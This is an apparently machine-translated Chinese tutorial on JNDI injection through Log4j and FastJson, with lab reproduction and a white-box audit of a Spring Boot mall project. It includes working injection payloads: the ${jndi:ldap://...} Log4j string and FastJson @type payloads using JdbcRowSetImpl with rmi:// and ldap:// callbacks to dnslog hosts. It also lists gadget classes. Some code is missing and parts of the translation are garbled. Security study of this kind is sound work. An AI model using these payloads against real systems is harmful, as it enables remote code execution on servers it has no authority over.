JNDI注入&Log4j&FastJson&白盒审计&不回显处理_log4j 攻击无回显怎么办

JNDI注入&Log4j&FastJson&白盒审计&不回显处理_log4j 攻击无回显怎么办思路:
Fofa、Shodan关键字搜 Log4j、根据返回包内容有无 Log4j 相关信息、页面

主意:

Fofa,Shodan关键词搜索Log4j,根据返回的包中是否包含Log4j相关信息、页面错误信息等判断对方是否指的是Log4j。通过传递DNSLog 来测试是否有反向连接。例如,按如下方式构建POC:使用${jndi:ldap://xxx.dns .log} 测试注入点

0x04 Java-第三方组件-FastJson反射

1.FastJson概述

前端和后端之间传输数据时,经常会进行字符串、json、XML等的相互转换和解析,其中,json由于其交叉访问的好处,在开发中经常被使用。它用于语言之间、前端之间以及前端之间,基本上是一种标准的数据交换格式。其界面简单易用,广泛应用于缓存序列化、协议交互、Web输出等各种应用场景。 FastJson是阿里巴巴的一个开源库,用于解析和打包JSON格式的数据。

Java其实有原生的Json数据格式转换功能,但FastJson速度更快、效率更高,因此被广泛使用。

简单来说,FastJson是阿里巴巴开发的一个用于Json数据格式转换的Java第三方组件。

过往漏洞:https://avd.aliyun.com/search?q=fastjson

2.简单测试FastJson

另外,首先引用FastJson 组件(我使用的是1.2.24 版本)。

依赖

groupIdcom.alibaba/群组ID

artifactIdfastjson/artifactId

版本1.2.24/版本

/依赖

创建User类来测试FastJson数据格式转换

创建FastjsonTest 并使用FastJson 处理User 类的数据转换。

当你运行main 函数时,IDEA 控制台输出如下所示:

您可以看到类名称是使用JSONObject.toJSONString 的SerializerFeature.WriteClassName 参数添加到前面的。这也是漏洞利用的关键点(@type)。

在上面的JSON – Object 代码中,将JSON 格式的字符串转换为对象的过程本质上是一个反序列化过程。

String test=\'{\\\’@type\\\’:\\\’com.example.FastjsonDemo.User\\\’,\\\’年龄\\\’:23,\\\’姓名\\\’:\\\’ch4ser\\\’}\’;

反序列化的是User 类。请尝试想象一下。如果在com.example.FastjsonDemo 路径下创建一个新类Run,代码将如下所示:

并将“@type”:“com.example.FastjsonDemo.Run”更改为:

String test=\'{\\\’@type\\\’:\\\’com.example.FastjsonDemo.Run\\\’,\\\’年龄\\\’:23,\\\’姓名\\\’:\\\’ch4ser\\\’}\’;

然后,当你重新运行main函数时,它会反序列化Run类,触发Run类的无参数构造函数Run(),最后弹出计算器。

但问题来了。我为固定调用创建了一个新类作为测试,但是我将如何在真正的战斗中使用它?

3. 测试javax.naming.InitialContext.lookup() 方法。

在我们了解它在实战中是如何工作之前,我们需要先介绍一下javax.naming.InitialContext.lookup()方法。

这意味着如果Java想要调用某个特定的类,可以使用InitialContext类的lookup方法来实现调用(使用RMI、LDAP等远程调用)。从安全角度来看,该方法专门用于JNDI注入。

创建JndiDemo来测试查找方法。这是代码:

上面使用了JNDI-Injection-Exploit工具。在实际测试中,我们发现计算器在LDAP中可以弹出,但在RMI中却无法弹出。

重新引入该工具:Marshalsec。它与JNDI-Injection-Exploit 工具的不同之处在于它具有一些内置函数来解决这些限制。

要使用这个工具,你需要自己创建一个类,将其编译成类文件,并将其放在你的Marshalsec 服务器(即我的Kali)的网站目录中。

在IDEA Terminal 中将Run 类编译为类文件,并将其放置在您的Kali 网站目录中(默认/var/www/html)。

修改JndiDemo测试代码。

当我启动Marshalsec工具并运行main函数时,我看到服务器已收到请求,但Win11上没有弹出计算器。我问了群里的老大,他说可能是工具有问题,我想使用小迪的时候也有问题。

4. Fastjson漏洞重现

下面是使用Fastjson 组件模拟网站的前端代码:

后端的代码是:

查看互联网上其他人如何使用Fastjson。有效负载为:

有效负载1:

{

\’@type\’:\’java.lang.Class\’,

\’val\’:\’com.sun.rowset.JdbcRowSetImpl\’

}

有效负载2:

{

\’@type\’:\’com.sun.rowset.JdbcRowSetImpl\’,

\’dataSourceName\’:\’rmi://dnslog.cn地址/zcc\’,

“自动提交”:true

}

启动JNDI-Injection-Exploit工具,构建并输入payload,成功弹出计算器。

我们回到上一个问题。在实战中,你无法自己创建恶意类的固定调用。那么这里我们如何实现调用呢?

原因是上面有效负载中指定的com.sun.rowset.JdbcRowSetImpl 类调用了InitialContext.lookup() 方法。

Java中还有其他类调用InitialContext.lookup()方法,例如:

1. 在RMI服务上调用InitialContext.lookup()的类是:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(StringsfJNDIName)

2. 在LDAP服务上调用InitialContext.lookup()的类是:

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

将项目的JDK版本从1.8.0_131更改为17.0.2后,发现原来的payload还在,虽然能成功接收数据,但计算器不玩。

这是由于官方对各个JDK版本的一些限制。这意味着更高版本的JDK 通过以下方式影响JNDI 注入(RMI、LDAP):

JDK 6u45 和7u21 及更高版本:

java.rmi.server.useCodebaseOnly 的默认值设置为true。如果该值为真,

禁用远程类文件的自动加载,仅从CLASSPATH 中指定的路径和当前JVM 的java.rmi.server.codebase 加载类文件。

使用此属性可防止客户端VM 从其他代码库地址动态加载类,从而提高RMI 类加载器的安全性。

JDK 6u141、7u131、8u121 及更高版本:

添加了com.sun.jndi.rmi.object.trustURLCodebase 选项。默认值为false,这会阻止将远程代码库选项与RMI 和CORBA 协议一起使用。

因此,虽然RMI和CORBA在上述JDK版本中不再能够触发该漏洞,但可以通过将URI指定为LDAP协议来执行JNDI注入攻击。

JDK 6u211、7u201、8u191 及更高版本:

添加了com.sun.jndi.ldap.object.trustURLCodebase 选项。默认为false。

禁用LDAP 协议使用远程代码库的选项也会禁用LDAP 协议攻击向量。

0x05 白盒审计 – FastJson

迷你天猫商城:基于Spring Boot的综合B2C电商平台。需求设计主要是指天猫商城的购物流程。用户从注册开始,完成登录、浏览产品、添加购物车、下订单、确认。接收产品、对其进行评估并执行一系列任务。 天猫数据管理后台作为迷你天猫商城的核心组件之一,包括商品管理、订单管理、品类管理、用户管理、交易量统计等模块,为整个商城提供一站式管理和维护。

搭建项目环境:首先配置Git,然后点击Clean安装Maven,配置数据库连接信息,最后开始使用。

审核流程:

直接全局搜索JSON.parse或者JSON.parseObject,看到有四个地方使用了JSON.parseObject。这说明使用了FastJson组件,并且使用了关联的反序列化漏洞函数。

如果您跟踪传入参数值propertyJson,您将看到该值是产品属性JSON 数据。通过@RequestMapping路由我们还可以看出,该功能点很可能是后端管理员添加产品以及反序列化对象的接口。产品信息

在pom.xml中搜索fastjson,确保项目中使用的FastJson版本为1.2.58。检查漏洞库,确认该版本存在漏洞。

如果你登录后端,测试添加产品,并使用BurpSuite抓包,你会看到propertyJson值确实被传递了。所以下一步就是直接构建有效负载来重现。

构建有效负载并测试出站回显调用访问:(此处的DNSLog 地址由Yakit 生成)

{\’@type\’:\’java.net.Inet4Address\’,\’val\’:\’ldap://192.168.139.1:1389/eg5vto\’}

修改包裹并发货后,我能够确认Yakit 端的连接并能够退出网络。

0x06 白盒审计 – Log4j

同样,首先全局搜索logger.info或logger.error。搜索结果有很多,但只有那些变量可控的。

追踪一下,会发现路由地址是admin/uploadAdminHeadImage,变量originalFileName的值为检索到的上传头像的文件名,功能点应该是后台admin的头像上传接口。

在pom.xml中搜索log4j,确保项目中使用的Log4j版本为2.10.0。检查漏洞库,确认该版本存在漏洞。

如果你登录后端,测试管理员头像上传,并使用BurpSuite抓包,你会看到路径实际上是admin/uploadAdminHeadImage。因此下一步是直接构建有效负载并传递文件名值。

构建有效负载并测试出站回显呼叫访问:(我在使用Yakit 时遇到问题,请使用DNSLog.cn)

${jndi:ldap://endjri.dnslog.cn}

修改并提交包后,可以在DNSLog.cn中看到连接,看到可以上网了。

尝试使用JNDI-Injection-Exploit 显示弹出计算器(此处的JDK 版本是8u131)

写在最后

最后,我想重申一下,学习不是攀登陡峭的山峰,而是滴水穿石,日积月累。持续学习变得越来越困难,尤其是当你进入职场后。就像在茫茫大海上独自划船,稍有放松警惕,就会被大浪卷走。但对于我们程序员来说,学习是生存的基础,是在激烈的市场竞争中立于不败之地的关键。如果我们停止学习,我们就像逆水行舟;如果我们不前进,我们最终会被时间的洪流淘汰。因此,不断获取新的知识不仅提高了自己,也是对自己的一次有价值的投资。让我们不断完善自我,与时俱进,谱写辉煌篇章。

如果您想要完整版PDF学习资源,请私信我们。

#JNDI注入&FastJson;白盒审计&NoEcho 以上相关内容,来源网络仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92094.html

(0)
CSDN's avatarCSDN
上一篇 2024年6月24日 下午8:15
下一篇 2024年6月24日 下午8:32

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注